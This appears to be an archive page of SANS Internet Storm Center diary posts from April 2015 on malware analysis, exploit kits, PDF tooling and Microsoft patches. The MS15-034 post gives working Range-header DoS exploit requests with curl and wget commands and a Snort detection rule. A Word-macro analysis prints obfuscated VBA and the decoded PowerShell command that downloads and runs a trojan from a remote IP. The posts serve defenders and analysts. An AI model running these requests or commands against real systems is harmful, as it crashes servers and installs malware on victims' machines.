STI|Twitter|LinkedIn

0 Comments

Published: 2015-04-19

Handling Special PDF Compression Methods

Maarten Van Horenbeeck posted a diary entry (July 2008) explaining how scripts and data are stored in PDF documents (using streams), and demonstrated a Perl script to decompress streams. A couple of months before, I had started developing my pdf-parser tool, and Maarten's diary entry motivated me to continue adding features to pdf-parser.

Extracting and decompressing a stream (for example containing a JavaScript script) is easy with pdf-parser. You select the object that contains the stream (example object 5: -o 5) and you “filter” the content of the stream (-f ). The command is:

pdf-parser.py –o 5 –f sample.pdf

In PDF jargon, streams are compressed using filters. You have all kinds of filters, for example ZLIB DEFLATE, but also lossy compressions like JPEG. pdf-parser supports a couple of filters, but not all, because the implementation of some of them (mostly the lossy ones) differs between vendors and PDF applications.

 

A recent article published by Virus Bulletin on JavaScript stored inside a lossy stream gave me the opportunity to implement a method I had worked out manually.

The problem: you need to decompress a stream and you have no decompression algorithm.

The solution: you use the PDF application to decompress the stream.

The method: you create a new PDF document with the stream as embedded file, and then save the embedded file using the PDF application.

The detailed method: when you need to decompress a stream for which you have no decompressor (or no decompressor identical to the target application), you create a new PDF document into which you include the object with the stream as an embedded file. PDF documents support embedded files. For example, if you have a PDF document explaining a financial method, you can include a spreadsheet in the PDF document as an embedded file. The embedded file is stored as an object with a stream, and the compression can be any method supported by the PDF application. Crafting this PDF document with embedded file manually requires many manipulations and calculations, and is thus a very good candidate for automation.

Figure: this PDF embeds a file called vbanner2.jpg

With pdf-parser, you can use this method as follows:

  1. Create a Python program that generates the PDF document with embedded file. Use pdf-parser like this (in this example, the data stream you want to decompress is in object 5 of PDF file sample.pdf): pdf-parser.py --generateembedded 5 sample.pdf > embedded.py
  2. Execute the Python program to create the PDF file: embedded.py embedded.pdf
  3. Open the created PDF file embedded.pdf with the target application (Adobe Reader for the Virus Bulletin example), and save the embedded file to disk
  4. The saved file contains the decompressed stream

You can find my PDF tools here.

Remark: the generated Python program requires my module mPDF.py, which can also be found on my PDF tools page.

Remark 2: don't use this method when the stream contains an exploit for the decompressor.

0 Comments

Published: 2015-04-17

Memory Forensics Of Network Devices

Memory forensics of PCs has become a popular forensic method, and has made great progress the last years thanks to the hard work of many researchers and open-source developers. But what about memory forensics of network devices? Like IOS routers?

In 2008, Felix Lindner presented on Cisco IOS Forensics, and years later, he open sourced his CIR tool.

Together with Xavier Mertens, we have 2 Cisco routers available to you to experiment on with my Network Appliance Forensic Toolkit.

We want to promote practicing and researching network device memory forensics, and started the Router Forensics project. I invite you to take a look, and if you are interested, you can reserve a spot on one of the online Cisco routers to practice memory forensics.

0 Comments

Published: 2015-04-16

Exploit kits (still) pushing Teslacrypt ransomware

Teslacrypt is a form of ransomware that was first noted in January of this year [1].  This malware apparently targets video game-related files [2, 3, 4].  I've seen Teslacrypt dropped by the Sweet Orange exploit kit (EK) [5], and it's also been dropped by Nuclear EK [6].  McAfee saw it dropped by Angler EK last month [2].

I saw it again on Wednesday 2015-04-15 from Nuclear EK.  Let's take a look at the traffic.  The image below from Wireshark shows Nuclear EK traffic being generated from a compromised Wordpress site.  Nuclear is hosted on a myftp.org domain.  You can also see some of the traffic generated by the user interacting with the ransomware.


Shown above: Wireshark display on some of this infection traffic.  Click on the image above for a larger image.

A pcap of the above traffic is available at:  http://www.malware-traffic-analysis.net/2015/04/15/2015-04-15-Nuclear-EK-sends-Teslacrypt.pcap

Nuclear hasn't changed dramatically from the last time we looked into it in December 2014 [7].  The traffic patterns are very similar.  The image below shows the beginning of the landing page for this infection traffic:

Next, Nuclear EK sent a Flash exploit.  The image below, taken from a TCP stream in Wireshark, shows the vulnerable host was running an out-of-date version of Flash player, 13.0.0.182.

Finally, Nuclear EK sent the malware payload.  Like last time, Nuclear EK obfuscated the payload by XOR-ing the binary with an ASCII string.  In this case, the ASCII string is crxWqTWA

Here's what the desktop of the infected host looked like:

And here's the browser window that appeared when the user looked into making a ransom payment:

The bitcoin address for the ransom payment is: 1FracxPs9n7pGFRqV1F61YXVr2AqWi52fs

​When I first checked, no transactions had been made to that bitcoin address.  Don't know if that's still the case, but anyone can check here:  https://blockchain.info/address/1FracxPs9n7pGFRqV1F61YXVr2AqWi52fs 

The image below shows where the malware payload copies itself.  It also the registry key updated to keep the malware persistent on the system.  This malware is available on malwr.com at the following link:  https://malwr.com/analysis/ZTQ2NDc1NWY2ZjRmNDkwNDgyMjFlZDNhZGY0ZWJhMjA/

Snort signatures (Cisco/Talos) that triggered on the Teslacrypt traffic:

  • [1:33893:1] MALWARE-CNC Win.Trojan.TeslaCrypt outbound communication

EmergingThreats and ETPRO signatures that triggered on the Teslacrypt traffic:

  • ET TROJAN Win32/Teslacrypt Ransomware HTTP CnC Beacon M1 (sid:2020717)
  • ET TROJAN Win32/Teslacrypt Ransomware HTTP CnC Beacon M2 (sid:2020718)
  • ETPRO TROJAN Win32/Teslacrypt Ransomware HTTP CnC Beacon Response (sid:2810074)

If your computer becomes infected with Teslacrypt, what should you do?  Those files may be lost if you don't have a backup.  Even if you pay the ransom, there's no guarantee you'll receive the decryption key.

As always, your best defense is regularly backing up your data. If not, you could find yourself at the mercy of this (or other) ransomware.

---
Brad Duncan, Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

 

References

[1] https://nakedsecurity.sophos.com/2015/03/16/teslacrypt-ransomware-attacks-gamers-all-your-files-are-belong-to-us/ 
[2] https://blogs.mcafee.com/mcafee-labs/teslacrypt-joins-ransomware-field 
[3] http://www.bleepingcomputer.com/forums/t/568525/new-teslacrypt-ransomware-sets-its-scope-on-video-gamers/
[4] http://labs.bromium.com/2015/03/12/achievement-locked-new-crypto-ransomware-pwns-video-gamers/
[5] http://threatglass.com/malicious_urls/bg-mamma-com
[6] http://malware-traffic-analysis.net/2015/04/03/index.html
[7] https://isc.sans.edu/diary/Exploit+Kit+Evolution+During+2014+-+Nuclear+Pack/19081

0 Comments

Published: 2015-04-15

MS15-034: HTTP.sys (IIS) DoS And Possible Remote Code Execution. PATCH NOW

Denial of Service (DoS) exploits are widely available to exploit CVE-2015-1635, a vulnerability in HTTP.sys, affecting Internet Information Server (IIS) . The patch was released on Tuesday (April 14th) as part of Microsoft's Patch Tuesday.

Due to the ease with which this vulnerability can be exploited, we recommend that you expedite patching this vulnerability.

Update: We are seeing active exploits hitting our honeypots from 78.186.123.180. We will be going to Infocon Yellow as these scans use the DoS version, not the "detection" version of the exploit. The scans appear to be "Internet wide".

[We will have a webcast live from SANS 2015 in Orlando at 6pm ET. For details, see https://www.sans.org/webcasts/100152 . If you are attending SANS 2015: Osprey Room 1 at the Swan hotel]

Updated Section 6 information regarding Information Disclosure issue.

Based on posts on Twitter, 171.13.14.0/24 is also sending the exploit code in "somewhat targeted" scans.

Version of the exploit seen used in these scans:

GET /%7Bwelcome.png HTTP/1.1
User-Agent: Wget/1.13.4 (linux-gnu)
Accept: */*
Host: [server-ip]
Connection: Keep-Alive
Range: bytes=18-18446744073709551615

FAQ

1 - Which Versions of Windows Are Vulnerable?

Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, and Windows Server 2012 R2. HTTP.sys is used by any version of IIS running on one of these operating systems. HTTP.sys was introduced with IIS 6.

2 - Will an IPS protect me? 

Yes. If you have the right rules installed. For example, here is a simple rule for Snort:

alert tcp $EXTERNAL_NET any -> $HOME_NET 80 (msg: " MS15-034 Range Header HTTP.sys Exploit"; content: "|0d 0a|Range: bytes="; nocase; content: "-"; within: 20 ; byte_test: 10,>,1000000000,0,relative,string,dec ; sid: 1001239;)

(byte_test is limited to 10 bytes, so I just check if the first 10 bytes are larger then 1000000000)

Watch out, there are some tricks to bypass simple rules, like adding whitespace to the Range: header's value. More info here.

3 - Will the exploit work over SSL?

Yes. Which may be used to bypass your IDS or other network protections

4 - Have you seen active exploits "in the wild"?

Not yet. We have seen working DoS exploits, but have not detected them in our honeypots. Erratasec conducted a (partial) scan of the Internet using a non-DoS exploit with the intend to enumerate vulnerable systems.

5 - How do I know if I am vulnerable?

Send the following request to your IIS server:

GET / HTTP/1.1
Host: MS15034
Range: bytes=0-18446744073709551615

If the server responds with "Requested Header Range Not Satisfiable", then you may be vulnerable.
 

Test Scripts:

(powershell removed as it doesn't support 64 bit intergers... worked without error for me, but something else may have been wrong with it)

curl -v [ipaddress]/ -H "Host: test" -H "Range: bytes=0-18446744073709551615"

wget -O /dev/null --header="Range: 0-18446744073709551615" http://[ip address]/

 

6 - Can this vulnerability be exploited to do more then a DoS?

In it's advisory, Microsoft considered the vulnerability as a remote code execution vulnerability. But at this point, no exploit has been made public that executed code. Only DoS exploits are available.
There also appears to be an information disclosure vulnerability. If the lower end of the range is one byte less then the size of the retrieved file, kernel memory is appended to the output before the system reboots. In my own testing, I was not able to achieve consistent information leakage. Most of the time, the server just crashes.

[Turns out, the file does not have to be > 4GB. Tried it with a short file and it worked. The >4GB information came from a bad interpretation of mine of the chinese article in the "Resources" section]

7 - How to I launch the DoS exploit?

In the example PoC above, change the "0-" to "20-". (has to be smaller then the size of the file retrieved, but larger then 0)

8 - What is special about the large number in the PoC exploit?

It is 2^64-1. The largest 64 bit number (hex: 0xFFFFFFFFFFFFFFFF)

9 - Any Other Workarounds?

In IIS 7, you can disable kernel caching.

10 - Is only IIS vulnerable? Or are other components affected as well?

Potentially, anything using HTTP.sys and kernel caching is vulnerable. HTTP.sys is the Windows library used to parse HTTP requests. However, IIS is the most common program exposing HTTP.sys. You may find potentially vulnerable components by typing: netsh http show servicestate (thx to @Gmanfunky)

11 - Will IIS Request Filtering Protect Me?

No. IIS Request Filtering happens after the Range header is parsed.

References:

https://ma.ttias.be/remote-code-execution-via-http-request-in-iis-on-windows/
https://technet.microsoft.com/library/security/MS15-034
​https://support.microsoft.com/en-us/kb/3042553
http://blogs.360.cn/blog/cve_2015_6135_http_rce_analysis (Chinese)

Thanks to Threatstop for providing an IIS server for testing.

 

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

41 Comments

Published: 2015-04-14

Microsoft Patch Tuesday - April 2015

Overview of the April 2015 Microsoft patches and their status.

# Affected Contra Indications - KB Known Exploits Microsoft rating(**) ISC rating(*)
clients servers
MS15-032 Cumulative Security Update for Internet Explorer
(ReplacesMS15-018 )
CVE-2015-1652, CVE-2015-1657, CVE-2015-1659, CVE-2015-1660, CVE-2015-1661, CVE-2015-1662, CVE-2015-1665, CVE-2015-1666, CVE-2015-1667, CVE-2015-1668 KB 3038314 No Severity:Critical
Exploitability:
Critical Important
MS15-033 Vulnerabilities in Microsoft Office Could Allow Remote Code Execution
(ReplacesMS14-081 MS15-022 )
CVE-2015-1639
CVE-2015-1641
CVE-2015-1649
CVE-2015-1650
CVE-2015-1651
KB 3048019 vuln. public. Severity:Critical
Exploitability:
Critical Important
MS15-034 Vulnerability in HTTP.sys Could Allow Remote Code Execution
CVE-2015-1635 KB 3042553 No Severity:Critical
Exploitability:
Critical Critical
MS15-035 Vulnerability in Microsoft Graphics Component Could Allow Remote Code Execution
CVE-2015-1645 KB 3046306 No Severity:Critical
Exploitability:
Critical Critical
MS15-036 Vulnerabilities in Microsoft SharePoint Server Could Allow Elevation of Privilege
(ReplacesMS15-022 )
CVE-2015-1640
CVE-2015-1653
KB 3052044 No Severity:Important
Exploitability:
N/A Important
MS15-037 Vulnerability in Windows Task Scheduler Could Allow Elevation of Privilege
CVE-2015-0098 KB 3046269 No Severity:Important
Exploitability:
Important Important
MS15-038 Vulnerabilities in Microsoft Windows Could Allow Elevation of Privilege
(ReplacesMS15-025 MS15-031 )
CVE-2015-1643
CVE-2015-1644
KB 3049576 No Severity:Important
Exploitability:
Important Important
MS15-039 Vulnerability in XML Core Services Could Allow Security Feature Bypass
(ReplacesMS14-067 )
CVE-2015-1646 KB 3046482 No Severity:Important
Exploitability:
Important Important
MS15-040 Vulnerability in Active Directory Federation Services Could Allow Information Disclosure
CVE-2015-1638 KB 3045711 No Severity:Important
Exploitability:
Important Important
MS15-041 Vulnerability in .NET Framework Could Allow Information Disclosure
(ReplacesMS14-009 )
CVE-2015-1648 KB 3048010 No Severity:Important
Exploitability:
Important Important
MS15-042 Vulnerability in Windows Hyper-V Could Allow Denial of Service
CVE-2015-1647 KB 3047234 No Severity:Important
Exploitability:
Important Important
We will update issues on this page for about a week or so as they evolve.
We appreciate updates
US based customers can call Microsoft for free patch related support on 1-866-PCSAFETY
(*): ISC rating
  • We use 4 levels:
    • PATCH NOW: Typically used where we see immediate danger of exploitation. Typical environments will want to deploy these patches ASAP. Workarounds are typically not accepted by users or are not possible. This rating is often used when typical deployments make it vulnerable and exploits are being used or easy to obtain or make.
    • Critical: Anything that needs little to become "interesting" for the dark side. Best approach is to test and deploy ASAP. Workarounds can give more time to test.
    • Important: Things where more testing and other measures can help.
    • Less Urt practices for servers such as not using outlook, MSIE, word etc. to do traditional office or leisure work.
    • The rating is not a risk analysis as such. It is a rating of importance of the vulnerability and the perceived or even predicted threatatches.

       

-- 
Alex Stanford - GIAC GWEB & GSEC,
Research Operations Manager,
SANS Internet Storm Center
/in/alexstanford

8 Comments

Published: 2015-04-14

Odd POST Request To Web Honeypot

I just saw this odd POST request to our honeypot's index page. Has anybody seen something like this? No idea what they are trying to accomplish.

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; EIE10;ENUSMSN)\r\n
Host: [IP Address of Honeypot]
Content-Length: 364
Cache-Control: no-cache

I2pA3cU8VSiuw2nCOwlrKN+K8jeDYiuG9stiEykFE1QDf9qZ+7DWSqt4nzWXnsjB1yXtBq8Ln7nj2FExhjmxJcRTYLCuDyBnRP8cpqOAlJrM68lEatjAS4O2bpQVbtVHAyfttd9LcsaDvkYDD9UaOVcnCnDZJxq0t4M5i9WaJusrSBNJri9br9CFjEM7IrLxS1ZUS4lR6ukW1yRvMMe1seSujBbfBqrZbijFHaH4eK5TcH6AJGkikgaiVLi6uABwhnX+VL9Nzfss+RRzC4n1hX6zHKn4+XfoCIHs3hFbgUOjqQx2vPvOek3+y2fAbsndiqz8SCzMJSzW0QxBW6Jju8aNr+n9+elCQ60vRM/SRIbl

The payload looks Base64 encoded, but decoding doesn't help much either. The payload also looks like the "+" (which would be a space if URL encoded) marks a deliminator. 

<u(..i.;.k( 0000010:="" df8a="" f237="" 8362="" 2b86="" f6cb="" 6213="" 2905="" 1354="" ...7.b+...b.)..t="" 0000020:="" 037f="" da99="" fbb0="" d64a="" ab78="" 9f35="" 979e="" c8c1="" .......j.x.5....="" 0000030:="" d725="" ed06="" af0b="" 9fb9="" e3d8="" 5131="" 8639="" b125="" .%........q1.9.%="" 0000040:="" c453="" 60b0="" ae0f="" 2067="" 44ff="" 1ca6="" a380="" 949a="" .s`...="" gd.......="" 0000050:="" cceb="" c944="" 6ad8="" c04b="" 83b6="" 6e94="" 156e="" d547="" ...dj..k..n..n.g="" 0000060:="" 0327="" edb5="" df4b="" 72c6="" 83be="" 4603="" 0fd5="" 1a39="" .'...kr...f....9="" 0000070:="" 5727="" 0a70="" d927="" 1ab4="" b783="" 398b="" d59a="" 26eb="" w'.p.'....9...&.="" 0000080:="" 2b48="" 1349="" ae2f="" 5baf="" d085="" 8c43="" 3b22="" b2f1="" +h.i.="" [....c;"..="" 0000090:="" 4b56="" 544b="" 8951="" eae9="" 16d7="" 246f="" 30c7="" b5b1="" kvtk.q....$o0...="" 00000a0:="" e4ae="" 8c16="" df06="" aad9="" 6e28="" c51d="" a1f8="" 78ae="" ........n(....x.="" 00000b0:="" 5370="" 7e80="" 2469="" 2292="" 06a2="" 54b8="" bab8="" 0070="" sp~.$i"...t....p="" 00000c0:="" 8675="" fe54="" bf4d="" cdfb="" 2cf9="" 1473="" 0b89="" f585="" .u.t.m..,..s....="" 00000d0:="" 7eb3="" 1ca9="" f8f9="" 77e8="" 0881="" ecde="" 115b="" 8143="" ~.....w......[.c="" 00000e0:="" a3a9="" 0c76="" bcfb="" ce7a="" 4dfe="" cb67="" c06e="" c9dd="" ...v...zm..g.n..="" 00000f0:="" 8aac="" fc48="" 2ccc="" 252c="" d6d1="" 0c41="" 5ba2="" 63bb="" ...h,.%,...a[.c.="" 0000100:="" c68d="" afe9="" fdf9="" e942="" 43ad="" 2f44="" cfd2="" 4486="" .......bc.="" d..d.="" 0000110:="" e5="" 

Any ideas?

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

8 Comments

Published: 2015-04-10

The Kill Chain: Now With Pastebin

I have yet another maldoc sample. They still keep coming, these malicious Word and Excel documents with VBA macros designed to download a trojan. Each day they are slightly different, and sometimes I see something worth sharing.

The "sample of the day" (26B857A0A57B89166584CBB7167CAA19) includes Pastebin in its attack. When the VBA code executes, it downloads the contents of 2 pastes on Pastebin. First one is base64 encoded:

The base64 string decodes to pieces of scripts delimited by HTML-like tags:

These pieces of .BAT, .VBS and .PS1 scripts are recombined by the VBA code to produce the final scripts. These are written to disk in the temporary folder (%TEMP%).

On Windows XP, the VBA code launches a .BAT script, which in turn launches a .VBS script. This .VBS script downloads the trojan. The trojan is launched by the .BAT script.

On Windows Vista and later, the chain is longer and includes Powershell: the VBA code launches a .BAT script, which launches a .VBS script, which launches a .PS1 script. This .PS1 script downloads the trojan and launches it.
 

In both cases, the URL of the trojan is retrieved from a second paste on Pastebin:

As you can see, the trojan is hosted on Dropbox.

Including Pastebin in the kill chain adds flexibility for the malware authors. But it also makes the chain longer, possibly weaker, and it gives us one more opportunity to detect the attack.

I know several corporations that block sites like Pastebin. They are immune to this attack, if the VBA macro can not retrieve its instructions from Pastebin, it can not infect.

What's the policy for sites like Pastebin in your organization?

6 Comments

Published: 2015-04-09

An example of the malicious emails sometimes sent to the ISC handler addresses

Part of being an ISC handler is reviewing the emails sent to our various email distros.  Because these email addresses are publicly-known, we receive a lot of spam.  Occasionally, we get more malicious messages.  This malicious spam often provides malware samples to examine.

Once such email I found within the past 24 hour was in Portuguese and had a bitly link to malware:

Google Translate provided the following translation:

Regards,

Following the guidance of a friend in common, I send you my technical qualifications and professional experience attached.

I look forward a return for a personal interview, and this time, submit all certificates and diplomas described.

 
Huge hug.

Glauber

I followed the link to get the malware.  It looks like someone has been abusing Google, because the malware came from storage.googleapis.com.

The malware within the RAR archive is an executable.

Looking at the executable file, I didn't find any noticeable metadata.

A copy of this extracted malware can be found at: https://malwr.com/analysis/MDU3M2E3NWY3Mjc1NGNiYWFkZThmZGEzYmVjODllY2M/

The malware wouldn't run on a Windows VM while using VMware, so I had to use another platform.  Here's traffic from the entire process: 

Chain of events:

  • The bitly link redirects to storage.googleapis.com to download the RAR file.
  • Run the malware extracted from the RAR file, and it downloads a ZIP file from storage.googleapis.com.
  • Malware extracted from the zip file is stored on the infected host and does callback traffic to an IP address at 64.31.21.243.

Monitoring the traffic with Security Onion, we see an ETPRO alert for Win32/Spy.Banker.ABCU.

Below is a screen shot of the malware and the associated registry key to keep the it persistent on the infected host:

A copy of the above malware can be found at: https://malwr.com/analysis/YjYxMjc0ZTAwZTBmNDc2Mzg0NzI1Mjc3ZDU1NzkyYjU/

Below are screen shots of the traffic.  First is the HTTP GET request for the RAR file from storage.googleapis.com:

'

Next is the follow-up malware request, also from storage.googleapis.com:

Finally, we see the callback traffic by the infected host:

I've notified Google abuse about the malicious files on storage.googleapis.com, and I've also notified the hosting provider for 64.31.21.243 that it's being used for malware callback.

Sadly, these types of emails are all too common, and some may slip through an organization's spam filters.  Fortunately a good number of us keep an eye out for these messages.  We try our best to notify the associated service providers.  It might be an uphill battle, but it's one we must fight.

---
Brad Duncan, Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

6 Comments

Published: 2015-04-08

Is it a breach or not?

Incidents happen, and the most important part of IR is the planning stage. You should have a process or checklists with steps to make sure it goes as smoothly and fast as possible.

When your forensic analysis shows or likely determines PII was accessed, your executives need to have the right information to make a decision.  You should have a memo which breaks down what data was on the system and factual  evidence of the data accessed.  It should be in layman terms where the executives can lean on the analysis for decisions.  (e.g. A copy of our sensitive database was put in an unusual area of the system and the attacker used methods to hide the file. We have evidence that this file left our company through analysis of our network connections from the compromised system.)

Additionally, its good to have the investigators opinion of the likelihood data was accessed in the memo.  A typical example is a web server defaced, but no additional tools or activity happened on the server.  The likely motive of the attacker was only defacement and your analysis may suggest that the likelihood of leakage of data was low.

The key is understanding your management and have discussions early on about when to notify and when not to notify.

--

Tom Webb

0 Comments

Published: 2015-04-07

Guest Diary: Xavier Mertens - Analyzing an MS Word document not detected by AV software

[Guest Diary: Xavier Mertens] [Analyzing an MS Word document not detected by AV software]

Like everybody, I'm receiving a lot of spam everyday but... I like it! All unsolicited received messages are stored in a dedicated folder for two purposes:

This helps me to find new types of spams or new techniques used by attackers to deliver malicious content in our mailboxes. Today, I received an interesting Word document. I'm not sure if it is a very common one but I did a small analysis. The mail was based on a classic fake invoice notification:

From: Ollie Oconnor 
To: xavier
Subject: 49933-Your Latest Documents from RS Components 570009054

The fake invoice was related to rswww.com which is a UK online shop for electronic devices, components and IT related stuffs. The attached Word document was processed by my MIME2VT tool but the VirusTotal score was 0/53(https://www.virustotal.com/en/file/be7a959827ff33ab04195111600efb576eeac11904ef9b666386f56dafd8cfba/analysis/)! Interesting... It was too tempting to make some manual investigations. Using Didier Stevens's tool oledump(http://blog.didierstevens.com/programs/oledump-py/), I extracted the following macro:

$ ./oledump.py /tmp/20150331-A7740189461014146728299-1.doc
1:      113 '\x01CompObj'
2:     4096 '\x05DocumentSummaryInformation'
3:     4096 '\x05SummaryInformation'
4:     4096 '1Table'
5:     4096 'Data'
6:      490 'Macros/PROJECT'
7:       65 'Macros/PROJECTwm'
8: M  11613 'Macros/VBA/Module1'
9: M   1214 'Macros/VBA/ThisDocument'
10:     2932 'Macros/VBA/_VBA_PROJECT'
11:     1165 'Macros/VBA/__SRP_0'
12:       70 'Macros/VBA/__SRP_1'
13:     8430 'Macros/VBA/__SRP_2'
14:      103 'Macros/VBA/__SRP_3'
15:      561 'Macros/VBA/dir'
16:     5684 'WordDocument'
$ ./oledump.py -s 8 -v /tmp/20150331-A7740189461014146728299-1.doc
Attribute VB_Name = "Module1"
Sub sdfsdfdsf()
GVhkjbjv = chrw(49.5 + 49.5) & chrw(54.5 + 54.5) & chrw(50 + 50) & chrw(16 + 16) & chrw(23.5 + 23.5) & chrw(37.5 + 37.5) & chrw(16 + 16) & chrw(56 + 56) & chrw(55.5 + 55.5) & chrw(59.5 + 59.5) & chrw(50.5 + 50.5) & chrw(57 + 57) & chrw(57.5 + 57.5) & chrw(52 + 52) & chrw(50.5 + 50.5) & chrw(54 + 54) & chrw(54 + 54) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(16 + 16) & chrw(22.5 + 22.5) & chrw(34.5 + 34.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(49.5 + 49.5) & chrw(58.5 + 58.5) & chrw(58 + 58) & chrw(52.5 + 52.5) & chrw(55.5 + 55.5) & chrw(55 + 55) & chrw(40 + 40) & chrw(55.5 + 55.5) & chrw(54 + 54) & chrw(52.5 + 52.5) & chrw(49.5 + 49.5) & chrw(60.5 + 60.5) & chrw(16 + 16) & chrw(49 + 49) & chrw(60.5 + 60.5) & chrw(56 + 56) & chrw(48.5 + 48.5) & chrw(57.5 + 57.5) & chrw(57.5 + 57.5) & chrw(16 + 16)
GYUUYIiii = chrw(22.5 + 22.5) & chrw(55 + 55) & chrw(55.5 + 55.5) & chrw(56 + 56) & chrw(57 + 57) & chrw(55.5 + 55.5) & chrw(51 + 51) & chrw(52.5 + 52.5) & chrw(54 + 54) & chrw(50.5 + 50.5) & chrw(16 + 16) & chrw(20 + 20) & chrw(39 + 39) & chrw(50.5 + 50.5) & chrw(59.5 + 59.5) & chrw(22.5 + 22.5) & chrw(39.5 + 39.5) & chrw(49 + 49) & chrw(53 + 53) & chrw(50.5 + 50.5) & chrw(49.5 + 49.5) & chrw(58 + 58) & chrw(16 + 16) & chrw(41.5 + 41.5) & chrw(60.5 + 60.5) & chrw(57.5 + 57.5) & chrw(58 + 58) & chrw(50.5 + 50.5) & chrw(54.5 + 54.5) & chrw(23 + 23) & chrw(39 + 39) & chrw(50.5 + 50.5) & chrw(58 + 58) & chrw(23 + 23) & chrw(43.5 + 43.5) & chrw(50.5 + 50.5) & chrw(49 + 49) & chrw(33.5 + 33.5) & chrw(54 + 54) & chrw(52.5 + 52.5) & chrw(50.5 + 50.5) & chrw(55 + 55) & chrw(58 + 58) & chrw(20.5 + 20.5) & chrw(23 + 23)
hgFYyhhshu = chrw(34 + 34) & chrw(55.5 + 55.5) & chrw(59.5 + 59.5) & chrw(55 + 55) & chrw(54 + 54) & chrw(55.5 + 55.5) & chrw(48.5 + 48.5) & chrw(50 + 50) & chrw(35 + 35) & chrw(52.5 + 52.5) & chrw(54 + 54) & chrw(50.5 + 50.5) & chrw(20 + 20) & chrw(19.5 + 19.5) & chrw(52 + 52) & chrw(58 + 58) & chrw(58 + 58) & chrw(56 + 56) & chrw(29 + 29) & chrw(23.5 + 23.5) & chrw(23.5 + 23.5) & chrw(24.5 + 24.5) & chrw(28 + 28) & chrw(26.5 + 26.5) & chrw(23 + 23) & chrw(25.5 + 25.5) & chrw(28.5 + 28.5) & chrw(23 + 23) & chrw(24.5 + 24.5) & chrw(26 + 26) & chrw(28.5 + 28.5) & chrw(23 + 23) & chrw(25 + 25) & chrw(24.5 + 24.5) & chrw(23.5 + 23.5) & chrw(53 + 53) & chrw(57.5 + 57.5) & chrw(48.5 + 48.5) & chrw(60 + 60) & chrw(55.5 + 55.5) & chrw(28 + 28) & chrw(58.5 + 58.5) & chrw(23.5 + 23.5) & chrw(51.5 + 51.5) & chrw(25.5 + 25.5) & chrw(28.5 + 28.5) & chrw(49 + 49) & chrw(25 + 25) & chrw(49.5 + 49.5) & chrw(60 + 60) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(19.5 + 19.5)
GYiuudsuds = chrw(22 + 22) & chrw(19.5 + 19.5) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(49.5 + 49.5) & chrw(48.5 + 48.5) & chrw(49 + 49) & chrw(19.5 + 19.5) & chrw(20.5 + 20.5) & chrw(29.5 + 29.5) & chrw(16 + 16) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(56 + 56) & chrw(48.5 + 48.5) & chrw(55 + 55) & chrw(50 + 50) & chrw(16 + 16)
shdfihiof = chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(49.5 + 49.5) & chrw(48.5 + 48.5) & chrw(49 + 49) & chrw(16 + 16) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23)
doifhsoip = chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(29.5 + 29.5) & chrw(16 + 16) & chrw(57.5 + 57.5) & chrw(58 + 58) & chrw(48.5 + 48.5) & chrw(57 + 57) & chrw(58 + 58) & chrw(16 + 16) & chrw(18.5 + 18.5) & chrw(42 + 42) & chrw(34.5 + 34.5) & chrw(38.5 + 38.5) & chrw(40 + 40) & chrw(18.5 + 18.5) & chrw(46 + 46) & chrw(26 + 26) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(26.5 + 26.5) & chrw(26 + 26) & chrw(25.5 + 25.5) & chrw(23 + 23) & chrw(50.5 + 50.5) & chrw(60 + 60) & chrw(50.5 + 50.5) & chrw(29.5 + 29.5)
JHGUgisdc = GVhkjbjv + GYUUYIiii + hgFYyhhshu + GYiuudsuds + shdfihiof + doifhsoip
IUGuyguisdf = Shell(JHGUgisdc, 0)
End Sub

The macro is quite simple: a shell command is obfuscated by multiple chrw() functions to generate substrings which are concatenated and passwed to the Shell() function to be executed. Let's write a small python script to decode this. I'm search for all occurences of chrw(), extract the values to create a new string:

#!/usr/bin/python
import re
import sys
data = sys.stdin.read()
r = re.compile('chrw\((\S+) \+ (\S+)\)')
i = re.findall(r, data)
cmd = ""
for match in i:
   cmd = cmd + chr(int(float(match[0]) + float(match[1]))
print cmd

Here is the result:

# ./oledump.py -s 8 -v /tmp/20150331-A7740189461014146728299-1.doc | ./decode.py
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://185.39.149.21/jsaxo8u/g39b2cx.exe','%TEMP%\4543543.cab'); expand %TEMP%\4543543.cab %TEMP%\4543543.exe; start %TEMP%\4543543.exe;

The webserver being the IP address 185.39.149.21 (located in Russia) is down at the moment... I'm keeping an eye on it...

-- 
Alex Stanford - GIAC GWEB & GSEC,
